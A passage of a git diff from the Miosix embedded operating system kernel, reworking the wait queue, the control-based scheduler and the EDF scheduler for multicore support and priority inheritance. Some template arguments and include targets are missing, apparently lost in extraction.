if(queue==nullptr) queue=new PriorityQueue; + if(pp==PriorityPolicy::ConsiderInheritedPriority) + queue->enqueue(&thread->waitQueueItem,thread->PKgetPriority()); + else queue->enqueue(&thread->waitQueueItem,thread->savedPriority.get()); + #else + queue.enqueue(&thread->waitQueueItem); + #endif + } + + /** + * Wake the highest priority item in the queue, if any + * \return the woken thread, or nullptr if the queue was empty + */ + Thread *PKwakeOne() + { + #if defined(SCHED_TYPE_PRIORITY) && NUM_PRIORITIES>1 + if(queue==nullptr) return nullptr; + WaitToken *item=queue->dequeueOne(); + #else + WaitToken *item=queue.dequeueOne(); + #endif + if(item==nullptr) return nullptr; + //Also sets pendingWakeup if higher priority thread woken + item->thread->PKwakeup(); + return item->thread; + } + + /** + * Wake all items from the queue. After this method is called, the queue + * will be empty + */ + void PKwakeAll() + { + #if defined(SCHED_TYPE_PRIORITY) && NUM_PRIORITIES>1 + if(queue==nullptr) return; + queue->dequeueAll([](WaitToken *item){ + //Also sets pendingWakeup if higher priority thread woken + item->thread->PKwakeup(); + }); + #else + queue.dequeueAll([](WaitToken *item){ + //Also sets pendingWakeup if higher priority thread woken + item->thread->PKwakeup(); + }); + #endif + } + + /** + * Remove a specific thread from the queue. The thread is not woken up. + * \param thread thread to remove. This function is implemented by calling + * IntrusiveList::removeFast(), so all the warning related to this + * function apply here. + */ + void PKremove(Thread *thread) + { + #if defined(SCHED_TYPE_PRIORITY) && NUM_PRIORITIES>1 + if(queue==nullptr) return; + if(pp==PriorityPolicy::ConsiderInheritedPriority) + queue->remove(&thread->waitQueueItem,thread->PKgetPriority()); + else queue->remove(&thread->waitQueueItem,thread->savedPriority.get()); + #else + queue.remove(&thread->waitQueueItem); + #endif + } + + #if defined(SCHED_TYPE_PRIORITY) && NUM_PRIORITIES>1 + ~WaitQueue() { if(queue) delete queue; } + #endif + +private: + #if defined(SCHED_TYPE_PRIORITY) && NUM_PRIORITIES>1 + /* + * That's the hard case. Using a single list leaves no way to efficiently + * implement this queue. We could insertion-sort into the list by + * priority like with EDF, but doing so in the use case where more threads + * in the list have the same priority causes wakeup in LIFO order which may + * result in starvation. Doing inserion-sort into the list but adding + * another loop to put the thread at the end of the threads with the same + * priority already in the list allows prioritization and FIFO order, but + * causes O(n) insertion in the use case where all threads in the list have + * the same priority. + * The only way out is to have an array of lists, one for each priority + * level, but that adds more complications that we address in our code: + * - The array has to be dynamically allocated otherwise the size of the + * synchronization primitive object would depend on the number of priority + * levels selected when compiling the kernel. This is not possible since + * the memory layout of pthread_* synchronization primitives is fixed when + * the C standard library is compiled while the number of priorities is + * tunable when the kernel is compiled. + * - Moreover, for pthread_* synchronization primitives statically + * initialized with PTHREAD_*_INITIALIZER the constructor is not called, + * and all fields are set to 0/nullptr (see Miosix compiler patches). + * Thus we must check for nullptr and allocate it on first use. Thankfully + * deallocation is easy as statically constructed objects have a lifetime + * equal to the entire program thus no deallocation is needed, while + * pthread_*_destroy calls the destructor so no memory leaks are possible. + * - Finally, once we have an array of lists, one for each priority, we must + * be absolutely sure that removeFromWaitQueue will try to remove the + * thread from the same list we are inserting it here, otherise memory + * corruption occurs in IntrusiveList::removeFast. That's made easier by + * the fact that in Miosix a thread can only change its own priority, and + * of course while waiting on a synchronization primitive a thread isn't + * running and thus cannot call Thread::setPriority() but there's a catch: + * priority inheritance, which may cause a thread's priority to change + * even while waiting. We solve this by adding a template parameter, + * PriorityPolicy to consider either the actual (possibly inherited) or + * orignal "saved" priority. + */ + PriorityQueue *queue; + #elif defined(SCHED_TYPE_PRIORITY) + /** + * Priority scheduler with only 1 priority level is a pure round-robin, + * thus wakeup threads in fifo order + */ + FifoQueue queue; + #elif defined(SCHED_TYPE_EDF) + /** + * Functor needed by TimeSortedQueue to insert the thread in the correct + * place in the waiting list based on its deadline + */ + struct GetTime + { + long long operator()(WaitToken *item) + { + if(pp==PriorityPolicy::ConsiderInheritedPriority) + return item->thread->PKgetPriority().get(); + else return item->thread->savedPriority.get(); + } + }; + /* + * With EDF there is a simple implementation: the priority is the absolute + * deadline time in nanoseconds, thus we can just use a single list sorted + * by deadline and not care about threads having the same priority, just + * like sleepingList. If more threads with the exact same deadline are + * inserted, they will be awakened in LIFO order but it doesn't matter since + * if the task pool is schedulable they will still complete before their + * deadline. + */ + TimeSortedQueue queue; + #elif defined(SCHED_TYPE_CONTROL_BASED) + //TODO: support prioritization with mutexLessOp? + //(when done re-enable tests in testsuite) + FifoQueue queue; + #endif +}; + +} //namespace miosix diff --git a/miosix/kernel/scheduler/control/control_scheduler.cpp b/miosix/kernel/scheduler/control/control_scheduler.cpp index 6fabb9d2d..e64205c21 100644 --- a/miosix/kernel/scheduler/control/control_scheduler.cpp +++ b/miosix/kernel/scheduler/control/control_scheduler.cpp @@ -26,9 +26,10 @@ ***************************************************************************/ #include "control_scheduler.h" +#include "kernel/scheduler/scheduler.h" #include "kernel/error.h" #include "kernel/process.h" -#include "interfaces/os_timer.h" +#include "interfaces_private/cpu.h" #include using namespace std; @@ -37,39 +38,12 @@ using namespace std; namespace miosix { -//These are defined in kernel.cpp -extern volatile Thread *runningThread; -extern volatile int kernelRunning; -extern volatile bool pendingWakeup; -extern IntrusiveList sleepingList; +//These are defined in thread.cpp +extern volatile Thread *runningThreads[CPU_NUM_CORES]; +extern TimeSortedQueue sleepingList; //Internal static long long burstStart=0; -static long long nextPreemption=numeric_limits::max(); - -// Should be called when the running thread is the idle thread -static inline void IRQsetNextPreemptionForIdle() -{ - if(sleepingList.empty()) nextPreemption=numeric_limits::max(); - else nextPreemption=sleepingList.front()->wakeupTime; - #ifdef WITH_CPU_TIME_COUNTER - burstStart=IRQgetTime(); - #endif // WITH_CPU_TIME_COUNTER - //We could not set an interrupt if the sleeping list is empty but there's - //no such hurry to run idle anyway, so why bother? - internal::IRQosTimerSetInterrupt(nextPreemption); -} - -// Should be called for threads other than idle thread -static inline void IRQsetNextPreemption(long long burst) -{ - long long firstWakeupInList; - if(sleepingList.empty()) firstWakeupInList=numeric_limits::max(); - else firstWakeupInList=sleepingList.front()->wakeupTime; - burstStart=IRQgetTime(); - nextPreemption=min(firstWakeupInList,burstStart+burst); - internal::IRQosTimerSetInterrupt(nextPreemption); -} #ifndef SCHED_CONTROL_MULTIBURST @@ -77,29 +51,25 @@ static inline void IRQsetNextPreemption(long long burst) // class ControlScheduler // -bool ControlScheduler::PKaddThread(Thread *thread, +bool ControlScheduler::IRQaddThread(Thread *thread, ControlSchedulerPriority priority) { #ifdef SCHED_CONTROL_FIXED_POINT if(threadListSize>=64) return false; #endif //SCHED_CONTROL_FIXED_POINT thread->schedData.priority=priority; - { - //Note: can't use FastInterruptDisableLock here since this code is - //also called *before* the kernel is started. - //Using FastInterruptDisableLock would enable interrupts prematurely - //and cause all sorts of misterious crashes - InterruptDisableLock dLock; - thread->schedData.next=threadList; - threadList=thread; - threadListSize++; - SP_Tr+=bNominal; //One thread more, increase round time - IRQrecalculateAlfa(); - } + //Priority and savedPriority must be the same except when locking a mutex + //with priority inheritance. A newly created thread isn't yet locking mutex + thread->savedPriority=priority; + thread->schedData.next=threadList; + threadList=thread; + threadListSize++; + SP_Tr+=bNominal; //One thread more, increase round time + IRQrecalculateAlfa(); return true; } -bool ControlScheduler::PKexists(Thread *thread) +bool ControlScheduler::IRQexists(Thread *thread) { if(thread==nullptr) return false; for(Thread *it=threadList;it!=nullptr;it=it->schedData.next) @@ -113,14 +83,14 @@ bool ControlScheduler::PKexists(Thread *thread) return false; } -void ControlScheduler::PKremoveDeadThreads() +void ControlScheduler::removeDeadThreads() { //Special case, threads at the head of the list while(threadList!=nullptr && threadList->flags.isDeleted()) { Thread *toBeDeleted=threadList; { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; threadList=threadList->schedData.next; threadListSize--; SP_Tr-=bNominal; //One thread less, reduce round time @@ -137,7 +107,7 @@ void ControlScheduler::PKremoveDeadThreads() if(it->schedData.next->flags.isDeleted()==false) continue; Thread *toBeDeleted=it->schedData.next; { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; it->schedData.next=it->schedData.next->schedData.next; threadListSize--; SP_Tr-=bNominal; //One thread less, reduce round time @@ -148,28 +118,26 @@ void ControlScheduler::PKremoveDeadThreads() } } { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; IRQrecalculateAlfa(); } } -void ControlScheduler::PKsetPriority(Thread *thread, +void ControlScheduler::IRQsetPriority(Thread *thread, ControlSchedulerPriority newPriority) { thread->schedData.priority=newPriority; - { - FastInterruptDisableLock dLock; - IRQrecalculateAlfa(); - } + IRQrecalculateAlfa(); } -void ControlScheduler::IRQsetIdleThread(Thread *idleThread) +void ControlScheduler::IRQsetIdleThread(int whichCore, Thread *idleThread) { idleThread->schedData.priority=-1; + idleThread->savedPriority=-1; idle=idleThread; //Initializing curInRound to end() so that the first time - //IRQfindNextThread() is called the scheduling algorithm runs - if(threadListSize!=1) errorHandler(UNEXPECTED); + //IRQrunScheduler() is called the scheduling algorithm runs + if(threadListSize!=1) errorHandler(Error::UNEXPECTED); curInRound=nullptr; } @@ -178,28 +146,27 @@ Thread *ControlScheduler::IRQgetIdleThread() return idle; } -long long ControlScheduler::IRQgetNextPreemption() -{ - return nextPreemption; -} - -void ControlScheduler::IRQfindNextThread() +void ControlScheduler::IRQrunScheduler() { - if(kernelRunning!=0) //If kernel is paused, do nothing + FastGlobalLockFromIrq lock; + IRQstackOverflowCheck(); + //If kernel is paused, preemption is disabled + if(FastPauseKernelLock::holdingCore==0) { - pendingWakeup=true; + FastPauseKernelLock::pendingWakeup=true; return; } + #ifdef WITH_CPU_TIME_COUNTER - Thread *prev=const_cast(runningThread); + Thread *prev=const_cast(runningThreads[0]); #endif // WITH_CPU_TIME_COUNTER - if(runningThread!=idle) + if(runningThreads[0]!=idle) { //Not preempting from the idle thread, store actual burst time of //the preempted thread int Tp=static_cast(IRQgetTime()-burstStart); - runningThread->schedData.Tp=Tp; + runningThreads[0]->schedData.Tp=Tp; Tr+=Tp; } @@ -239,15 +206,16 @@ void ControlScheduler::IRQfindNextThread() //threads from threadList, so it can invalidate iterators //to any element except theadList.end() curInRound=nullptr; - runningThread=idle; - ctxsave=runningThread->ctxsave; + runningThreads[0]=idle; + ctxsave[0]=runningThreads[0]->ctxsave; #ifdef WITH_PROCESSES - miosix_private::MPUConfiguration::IRQdisable(); + MPUConfiguration::IRQdisable(); #endif - IRQsetNextPreemptionForIdle(); - #ifdef WITH_CPU_TIME_COUNTER - IRQprofileContextSwitch(prev->timeCounterData, - idle->timeCounterData,burstStart); + #ifndef WITH_CPU_TIME_COUNTER + Scheduler::IRQcomputePreemption(0,0); + #else //WITH_CPU_TIME_COUNTER + auto now=Scheduler::IRQcomputePreemption(0,0); + CPUTimeCounter::IRQprofileContextSwitch(prev,idle[0],now,0); #endif //WITH_CPU_TIME_COUNTER return; } @@ -260,24 +228,25 @@ void ControlScheduler::IRQfindNextThread() if(curInRound->flags.isReady()) { //Found a READY thread, so run this one - runningThread=curInRound; + runningThreads[0]=curInRound; #ifdef WITH_PROCESSES - if(const_cast(runningThread)->flags.isInUserspace()==false) + if(const_cast(runningThreads[0])->flags.isInUserspace()==false) { - ctxsave=runningThread->ctxsave; - miosix_private::MPUConfiguration::IRQdisable(); + ctxsave[0]=runningThreads[0]->ctxsave; + MPUConfiguration::IRQdisable(); } else { - ctxsave=runningThread->userCtxsave; + ctxsave[0]=runningThreads[0]->userCtxsave; //A kernel thread is never in userspace, so the cast is safe - static_cast(runningThread->proc)->mpu.IRQenable(); + static_cast(runningThreads[0]->proc)->mpu.IRQenable(); } #else //WITH_PROCESSES - ctxsave=runningThread->ctxsave; + ctxsave[0]=runningThreads[0]->ctxsave; #endif //WITH_PROCESSES - IRQsetNextPreemption(curInRound->schedData.bo/multFactor); - #ifdef WITH_CPU_TIME_COUNTER - IRQprofileContextSwitch(prev->timeCounterData, - curInRound->timeCounterData,burstStart); + #ifndef WITH_CPU_TIME_COUNTER + Scheduler::IRQcomputePreemption(0,curInRound->schedData.bo/multFactor); + #else //WITH_CPU_TIME_COUNTER + auto now=Scheduler::IRQcomputePreemption(0,curInRound->schedData.bo/multFactor); + CPUTimeCounter::IRQprofileContextSwitch(prev,curInRound,now,0); #endif //WITH_CPU_TIME_COUNTER return; } else { @@ -299,8 +268,8 @@ void ControlScheduler::IRQwaitStatusHook(Thread* t) void ControlScheduler::IRQrecalculateAlfa() { //Sum of all priorities of all threads - //Note that since priority goes from 0 to PRIORITY_MAX-1 - //but priorities we need go from 1 to PRIORITY_MAX we need to add one + //Note that since priority goes from 0 to NUM_PRIORITIES-1 + //but priorities we need go from 1 to NUM_PRIORITIES we need to add one unsigned int sumPriority=0; for(Thread *it=threadList;it!=nullptr;it=it->schedData.next) { @@ -445,7 +414,6 @@ int ControlScheduler::Tr=bNominal; int ControlScheduler::bco=0; int ControlScheduler::eTro=0; bool ControlScheduler::reinitRegulator=false; -} #else //SCHED_CONTROL_MULTIBURST @@ -483,7 +451,7 @@ static inline void remThreadfromActiveList(ThreadsListItem *atlEntry) activeThreads.removeFast(atlEntry); } -bool ControlScheduler::PKaddThread(Thread *thread, +bool ControlScheduler::IRQaddThread(Thread *thread, ControlSchedulerPriority priority) { #ifdef SCHED_CONTROL_FIXED_POINT @@ -491,32 +459,25 @@ bool ControlScheduler::PKaddThread(Thread *thread, #endif //SCHED_CONTROL_FIXED_POINT thread->schedData.priority=priority; thread->schedData.atlEntry.t = thread; + thread->schedData.next=threadList; + threadList=thread; + threadListSize++; + SP_Tr+=bNominal; //One thread more, increase round time + // Insert the thread in activeThreads list according to its real-time + // priority + if(thread->flags.isReady()) { - //Note: can't use FastInterruptDisableLock here since this code is - //also called *before* the kernel is started. - //Using FastInterruptDisableLock would enable interrupts prematurely - //and cause all sorts of misterious crashes - InterruptDisableLock dLock; - thread->schedData.next=threadList; - threadList=thread; - threadListSize++; - SP_Tr+=bNominal; //One thread more, increase round time - // Insert the thread in activeThreads list according to its real-time - // priority - if(thread->flags.isReady()) - { - addThreadToActiveList(&thread->schedData.atlEntry); - thread->schedData.lastReadyStatus=true; - } else { - thread->schedData.lastReadyStatus=false; - } - - IRQrecalculateAlfa(); + addThreadToActiveList(&thread->schedData.atlEntry); + thread->schedData.lastReadyStatus=true; + } else { + thread->schedData.lastReadyStatus=false; } + + IRQrecalculateAlfa(); return true; } -bool ControlScheduler::PKexists(Thread *thread) +bool ControlScheduler::IRQexists(Thread *thread) { if(thread==nullptr) return false; for(Thread *it=threadList;it!=nullptr;it=it->schedData.next) @@ -530,14 +491,14 @@ bool ControlScheduler::PKexists(Thread *thread) return false; } -void ControlScheduler::PKremoveDeadThreads() +void ControlScheduler::removeDeadThreads() { //Special case, threads at the head of the list while(threadList!=nullptr && threadList->flags.isDeleted()) { Thread *toBeDeleted=threadList; { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; threadList=threadList->schedData.next; threadListSize--; SP_Tr-=bNominal; //One thread less, reduce round time @@ -554,7 +515,7 @@ void ControlScheduler::PKremoveDeadThreads() if(it->schedData.next->flags.isDeleted()==false) continue; Thread *toBeDeleted=it->schedData.next; { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; it->schedData.next=it->schedData.next->schedData.next; threadListSize--; SP_Tr-=bNominal; //One thread less, reduce round time @@ -565,28 +526,25 @@ void ControlScheduler::PKremoveDeadThreads() } } { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; IRQrecalculateAlfa(); } } -void ControlScheduler::PKsetPriority(Thread *thread, +void ControlScheduler::IRQsetPriority(Thread *thread, ControlSchedulerPriority newPriority) { thread->schedData.priority=newPriority; - { - FastInterruptDisableLock dLock; - IRQrecalculateAlfa(); - } + IRQrecalculateAlfa(); } -void ControlScheduler::IRQsetIdleThread(Thread *idleThread) +void ControlScheduler::IRQsetIdleThread(int whichCore, Thread *idleThread) { idleThread->schedData.priority=-1; idle=idleThread; //Initializing curInRound to end() so that the first time - //IRQfindNextThread() is called the scheduling algorithm runs - if(threadListSize!=1) errorHandler(UNEXPECTED); + //IRQrunScheduler() is called the scheduling algorithm runs + if(threadListSize!=1) errorHandler(Error::UNEXPECTED); curInRound=activeThreads.end(); } @@ -595,24 +553,27 @@ Thread *ControlScheduler::IRQgetIdleThread() return idle; } -long long ControlScheduler::IRQgetNextPreemption() +void ControlScheduler::IRQrunScheduler() { - return nextPreemption; -} + FastGlobalLockFromIrq lock; + IRQstackOverflowCheck(); + //If kernel is paused, preemption is disabled + if(FastPauseKernelLock::holdingCore==0) + { + FastPauseKernelLock::pendingWakeup=true; + return; + } -void ControlScheduler::IRQfindNextThread() -{ - if(kernelRunning!=0) return;//If kernel is paused, do nothing #ifdef WITH_CPU_TIME_COUNTER - Thread *prev=const_cast(runningThread); + Thread *prev=const_cast(runningThreads[0]); #endif // WITH_CPU_TIME_COUNTER - if(runningThread!=idle) + if(runningThreads[0]!=idle) { //Not preempting from the idle thread, store actual burst time of //the preempted thread int Tp=static_cast(IRQgetTime()-burstStart); - runningThread->schedData.Tp=Tp; + runningThreads[0]->schedData.Tp=Tp; Tr+=Tp; } @@ -647,15 +608,16 @@ void ControlScheduler::IRQfindNextThread() //threads from threadList, so it can invalidate iterators //to any element except theadList.end() curInRound=activeThreads.end(); - runningThread=idle; - ctxsave=runningThread->ctxsave; + runningThreads[0]=idle; + ctxsave[0]=runningThreads[0]->ctxsave; #ifdef WITH_PROCESSES MPUConfiguration::IRQdisable(); #endif - IRQsetNextPreemptionForIdle(); - #ifdef WITH_CPU_TIME_COUNTER - IRQprofileContextSwitch(prev->timeCounterData, - idle->timeCounterData,burstStart); + #ifndef WITH_CPU_TIME_COUNTER + Scheduler::IRQcomputePreemption(0,0); + #else //WITH_CPU_TIME_COUNTER + auto now=Scheduler::IRQcomputePreemption(0,0); + CPUTimeCounter::IRQprofileContextSwitch(prev,idle,now,0); #endif //WITH_CPU_TIME_COUNTER return; } @@ -668,29 +630,30 @@ void ControlScheduler::IRQfindNextThread() if((*curInRound)->t->flags.isReady()) { //Found a READY thread, so run this one - runningThread=(*curInRound)->t; + runningThreads[0]=(*curInRound)->t; #ifdef WITH_PROCESSES - if(const_cast(runningThread)->flags.isInUserspace()==false) + if(const_cast(runningThreads[0])->flags.isInUserspace()==false) { - ctxsave=runningThread->ctxsave; + ctxsave[0]=runningThreads[0]->ctxsave; MPUConfiguration::IRQdisable(); } else { - ctxsave=runningThread->userCtxsave; + ctxsave[0]=runningThreads[0]->userCtxsave; //A kernel thread is never in userspace, so the cast is safe - static_cast(runningThread->proc)->mpu.IRQenable(); + static_cast(runningThreads[0]->proc)->mpu.IRQenable(); } #else //WITH_PROCESSES - ctxsave=runningThread->ctxsave; + ctxsave=runningThreads[0]->ctxsave; #endif //WITH_PROCESSES - IRQsetNextPreemption(runningThread->schedData.bo/multFactor); - #ifdef WITH_CPU_TIME_COUNTER - IRQprofileContextSwitch(prev->timeCounterData, - (*curInRound)->t->timeCounterData,burstStart); + #ifndef WITH_CPU_TIME_COUNTER + Scheduler::IRQcomputePreemption(0,runningThreads[0]->schedData.bo/multFactor); + #else //WITH_CPU_TIME_COUNTER + auto now=Scheduler::IRQcomputePreemption(0,runningThreads[0]->schedData.bo/multFactor); + CPUTimeCounter::IRQprofileContextSwitch(prev,(*curInRound)->t,now,0); #endif //WITH_CPU_TIME_COUNTER return; } else { //Error: a not ready thread end up in the ready list - errorHandler(UNEXPECTED); + errorHandler(Error::UNEXPECTED); } } } @@ -716,8 +679,8 @@ void ControlScheduler::IRQwaitStatusHook(Thread* t) void ControlScheduler::IRQrecalculateAlfa() { //Sum of all priorities of all threads - //Note that since priority goes from 0 to PRIORITY_MAX-1 - //but priorities we need go from 1 to PRIORITY_MAX we need to add one + //Note that since priority goes from 0 to NUM_PRIORITIES-1 + //but priorities we need go from 1 to NUM_PRIORITIES we need to add one unsigned int sumPriority=0; for(auto it=activeThreads.begin();it!=activeThreads.end();++it) { @@ -749,7 +712,7 @@ void ControlScheduler::IRQrecalculateAlfa() it->schedData.alfa=base*((float)(it->schedData.priority.get()+1)); #endif //ENABLE_FEEDFORWARD } - #else //FIXED_POINT_MATH + #else //SCHED_CONTROL_FIXED_POINT //Sum of all alfa is maximum value for an unsigned short unsigned int base=4096/sumPriority; for(Thread *it=threadList;it!=nullptr;it=it->schedData.next) @@ -767,7 +730,7 @@ void ControlScheduler::IRQrecalculateAlfa() it->schedData.alfa=base*(it->schedData.priority.get()+1); #endif //ENABLE_FEEDFORWARD } - #endif //FIXED_POINT_MATH + #endif //SCHED_CONTROL_FIXED_POINT reinitRegulator=true; } @@ -802,9 +765,9 @@ void ControlScheduler::IRQrunRegulator(bool allReadyThreadsSaturated) bco=min(max(bco,-Tr),bMax*threadListSize); #ifndef SCHED_CONTROL_FIXED_POINT float nextRoundTime=static_cast(Tr+bco); - #else //FIXED_POINT_MATH + #else //SCHED_CONTROL_FIXED_POINT unsigned int nextRoundTime=Tr+bco; //Bounded to 20bits - #endif //FIXED_POINT_MATH + #endif //SCHED_CONTROL_FIXED_POINT eTro=eTr; Tr=0;//Reset round time for(Thread *it=threadList;it!=nullptr;it=it->schedData.next) @@ -813,11 +776,11 @@ void ControlScheduler::IRQrunRegulator(bool allReadyThreadsSaturated) #ifndef SCHED_CONTROL_FIXED_POINT it->schedData.SP_Tp=static_cast( it->schedData.alfa*nextRoundTime); - #else //FIXED_POINT_MATH + #else //SCHED_CONTROL_FIXED_POINT //nextRoundTime is bounded to 20bits, alfa to 12bits, //so the multiplication fits in 32bits it->schedData.SP_Tp=(it->schedData.alfa*nextRoundTime)/4096; - #endif //FIXED_POINT_MATH + #endif //SCHED_CONTROL_FIXED_POINT //Run each thread internal regulator int eTp=it->schedData.SP_Tp - it->schedData.Tp; @@ -862,7 +825,13 @@ int ControlScheduler::bco=0; int ControlScheduler::eTro=0; bool ControlScheduler::reinitRegulator=false; +#endif //SCHED_CONTROL_MULTIBURST + +#ifdef OS_TIMER_MODEL_UNIFIED +template +long long basic_scheduler::nextPreemptionWakeupCore=numeric_limits::max(); +#endif //OS_TIMER_MODEL_UNIFIED + } //namespace miosix -#endif //SCHED_CONTROL_MULTIBURST #endif //SCHED_TYPE_CONTROL_BASED diff --git a/miosix/kernel/scheduler/control/control_scheduler.h b/miosix/kernel/scheduler/control/control_scheduler.h index 2c9742763..f7acd431b 100755 --- a/miosix/kernel/scheduler/control/control_scheduler.h +++ b/miosix/kernel/scheduler/control/control_scheduler.h @@ -27,10 +27,10 @@ #pragma once -#include "config/miosix_settings.h" +#include "miosix_settings.h" #include "control_scheduler_types.h" #include "parameters.h" -#include "kernel/kernel.h" +#include "kernel/thread.h" #include #ifdef SCHED_TYPE_CONTROL_BASED @@ -55,7 +55,7 @@ class ControlScheduler * Priority must be a positive value. * Note that the meaning of priority is scheduler specific. */ - static bool PKaddThread(Thread *thread, ControlSchedulerPriority priority); + static bool IRQaddThread(Thread *thread, ControlSchedulerPriority priority); /** * \internal @@ -66,14 +66,14 @@ class ControlScheduler * * Can be called both with the kernel paused and with interrupts disabled. */ - static bool PKexists(Thread *thread); + static bool IRQexists(Thread *thread); /** * \internal * Called when there is at least one dead thread to be removed from the * scheduler */ - static void PKremoveDeadThreads(); + static void removeDeadThreads(); /** * \internal @@ -83,7 +83,7 @@ class ControlScheduler * \param newPriority new thread priority. * Priority must be a positive value. */ - static void PKsetPriority(Thread *thread, + static void IRQsetPriority(Thread *thread, ControlSchedulerPriority newPriority); /** @@ -105,7 +105,7 @@ class ControlScheduler * thread is the idle thread, to be run all the times where no other thread * can run. */ - static void IRQsetIdleThread(Thread *idleThread); + static void IRQsetIdleThread(int whichCore, Thread *idleThread); /** * \internal @@ -123,25 +123,19 @@ class ControlScheduler /** * \internal - * This function is used to develop interrupt driven peripheral drivers.
- * Can be used ONLY inside an IRQ (and not when interrupts are disabled) to - * find next thread in READY status. If the kernel is paused, does nothing. - * Can be used for example if an IRQ causes a higher priority thread to be - * woken, to change context. Note that to use this function the IRQ must - * use the macros to save/restore context defined in portability.h - * - * If the kernel is paused does nothing. - * It's behaviour is to modify the global variable miosix::cur which always - * points to the currently running thread. + * Called when a thread transitions from waiting/sleeping to ready. + * Must not be called if the thread is already ready. */ - static void IRQfindNextThread(); - + static void IRQwokenThread(Thread* thread) { } + /** * \internal - * \return the next scheduled preemption set by the scheduler - * In case no preemption is set returns numeric_limits::max() + * This function is used only by the kernel code to run the scheduler. + * It finds the next thread in READY status. If the kernel is paused, + * does nothing. It's behaviour is to modify the global variable + * miosix::runningThread which always points to the currently running thread. */ - static long long IRQgetNextPreemption(); + static void IRQrunScheduler(); private: /** @@ -152,7 +146,7 @@ class ControlScheduler static void IRQrecalculateAlfa(); /** - * Called by IRQfindNextThread(), this function is where the control based + * Called by IRQrunScheduler(), this function is where the control based * scheduling algorithm is run. It is called once per round. */ static void IRQrunRegulator(bool allReadyThreadsSaturated); diff --git a/miosix/kernel/scheduler/control/control_scheduler_types.h b/miosix/kernel/scheduler/control/control_scheduler_types.h index 1a022cc2f..b7f40a875 100755 --- a/miosix/kernel/scheduler/control/control_scheduler_types.h +++ b/miosix/kernel/scheduler/control/control_scheduler_types.h @@ -27,7 +27,7 @@ #pragma once -#include "config/miosix_settings.h" +#include "miosix_settings.h" #include "parameters.h" #include "kernel/intrusive.h" @@ -68,8 +68,8 @@ enum class ControlRealtimePriority : unsigned char /** * This class models the concept of priority for the control based scheduler. * In this scheduler the priority is simply a short int with values ranging - * from 0 to PRIORITY_MAX-1, higher values mean higher priority, and the special - * value -1 reserved for the idle thread. + * from 0 to NUM_PRIORITIES-1, higher values mean higher priority, and the + * special value -1 reserved for the idle thread. * Higher values of priority mean that the scheduler assigns a larger fraction * of the round time to the thread. */ @@ -93,7 +93,7 @@ class ControlSchedulerPriority /** * Default constructor. */ - ControlSchedulerPriority() : priority(MAIN_PRIORITY), + ControlSchedulerPriority() : priority(DEFAULT_PRIORITY), realtime(ControlRealtimePriority::REALTIME_PRIORITY_END_OF_ROUND) {} /** @@ -113,7 +113,7 @@ class ControlSchedulerPriority */ bool validate() const { - return priority>=0 && priority=0 && priority(realtime)<3; } diff --git a/miosix/kernel/scheduler/edf/edf_scheduler.cpp b/miosix/kernel/scheduler/edf/edf_scheduler.cpp index b463aeba7..e5020f509 100644 --- a/miosix/kernel/scheduler/edf/edf_scheduler.cpp +++ b/miosix/kernel/scheduler/edf/edf_scheduler.cpp @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2010, 2011, 2012 by Terraneo Federico * + * Copyright (C) 2010-2025 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -26,9 +26,12 @@ ***************************************************************************/ #include "edf_scheduler.h" +#include "kernel/scheduler/scheduler.h" #include "kernel/error.h" #include "kernel/process.h" -#include "interfaces/os_timer.h" +#include "interfaces_private/cpu.h" +#include "interfaces_private/smp.h" +#include "kernel/cpu_time_counter.h" #include using namespace std; @@ -37,187 +40,388 @@ using namespace std; namespace miosix { -//These are defined in kernel.cpp -extern volatile Thread *runningThread; -extern volatile int kernelRunning; -extern volatile bool pendingWakeup; -extern IntrusiveList sleepingList; - -//Static members -static long long nextPreemption=numeric_limits::max(); +//These are defined in thread.cpp +extern volatile Thread *runningThreads[CPU_NUM_CORES]; // // class EDFScheduler // -bool EDFScheduler::PKaddThread(Thread *thread, EDFSchedulerPriority priority) +bool EDFScheduler::IRQaddThread(Thread *thread, EDFSchedulerPriority priority) { thread->schedData.deadline=priority; - add(thread); + //Priority and savedPriority must be the same except when locking a mutex + //with priority inheritance. A newly created thread isn't yet locking mutex + thread->savedPriority=priority; + #ifdef WITH_PROCESSES + // Check isReady() as processes are initially created in not ready state + if(thread->flags.isReady()==false) notReadyThreads.push_front(thread); + else + #endif //WITH_PROCESSES + if(priority.get()==numeric_limits::max()-2) + readyRrThreads.enqueue(thread); + else readyEdfThreads.enqueue(thread); return true; } -bool EDFScheduler::PKexists(Thread *thread) +bool EDFScheduler::IRQexists(Thread *thread) { - Thread *walk=head; - while(walk!=nullptr) - { - if(walk==thread && (!walk->flags.isDeleted())) return true; - walk=walk->schedData.next; - } + for(int i=0;iflags.isDeleted(); + if(readyRrThreads.contains(thread)) return true; + if(readyEdfThreads.contains(thread)) return true; + for(auto t : notReadyThreads) if(t==thread) return !thread->flags.isDeleted(); return false; } -void EDFScheduler::PKremoveDeadThreads() +void EDFScheduler::removeDeadThreads() { - //Delete all threads at the beginning of the list - for(;;) - { - if(head==nullptr) errorHandler(UNEXPECTED); //Empty list is wrong. - if(head->flags.isDeleted()==false) break; - Thread *toBeDeleted=head; - head=head->schedData.next; - void *base=toBeDeleted->watermark; - toBeDeleted->~Thread(); - free(base); //Delete ALL thread memory - } - //When we get here this->head is not null and does not need to be deleted - Thread *walk=head; for(;;) { - if(walk->schedData.next==nullptr) break; - if(walk->schedData.next->flags.isDeleted()) + Thread *t; { - Thread *toBeDeleted=walk->schedData.next; - walk->schedData.next=walk->schedData.next->schedData.next; - void *base=toBeDeleted->watermark; - toBeDeleted->~Thread(); - free(base); //Delete ALL thread memory - } else walk=walk->schedData.next; + FastGlobalIrqLock dLock; + if(notReadyThreads.empty()) return; + t=notReadyThreads.back(); + // All deleted threads are at the bottom of the list, so the first + // not deleted we found means there are no more + if(t->flags.isDeleted()==false) return; + notReadyThreads.pop_back(); + } + //Optimization: don't keep the lock while thread is being deleted + void *base=t->watermark; + t->~Thread();//Call destructor manually because of placement new + free(base); //Delete ALL thread memory } } -void EDFScheduler::PKsetPriority(Thread *thread, - EDFSchedulerPriority newPriority) +void EDFScheduler::IRQsetPriority(Thread *thread, 